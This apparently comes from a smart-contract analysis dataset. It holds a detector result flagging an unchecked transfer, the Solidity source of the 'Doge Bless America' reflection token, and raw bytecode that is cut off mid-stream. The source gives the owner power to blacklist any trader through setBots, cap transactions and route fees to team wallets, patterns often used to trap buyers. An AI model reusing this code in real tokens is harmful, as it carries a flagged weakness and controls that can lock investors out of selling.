3118215151615611130576111306110e8565b500290565b600082611144576111446110be565b500490565b60006020828403121561115b57600080fd5b5051919050565b60006020828403121561117457600080fd5b8151610f6181611043565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60006000198214156111de576111de6110e8565b5060010190565b6020808252602b908201527f63616e2774206368616e6765207468652072756c65732061667465722070726560408201526a73616c652073746172747360a81b606082015260800190565b60208082526024908201527f63616e27742073657420746865206d6178206c6f776572207468616e207468656040820152631036b4b760e11b60608201526080019056fea26469706673582212206927ff2ec3339eadc547ec89bbb6300b4c696b06ffb0bc6c6f28fb9b1c42215b64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 7,803 |
0x83177fa7d0109d72a50521ac878adb671d13923e
|
//https://t.me/officialdogeblessamerica
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DogeBlessAmerica is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 *10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Doge Bless America";
string private constant _symbol = 'DOGEBLES';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if(cooldownEnabled){
require(cooldown[from] < block.timestamp - (360 seconds));
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280601281526020017f446f676520426c65737320416d65726963610000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d9660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123089092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf816123c8565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c3565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f444f4745424c4553000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e81612547565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea0000061283190919063ffffffff16565b6128b790919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613e0c6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613d536022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613de76025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613d066023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613dbe6029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561224557601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473fffffffffffffffffffffffffffffffffffffff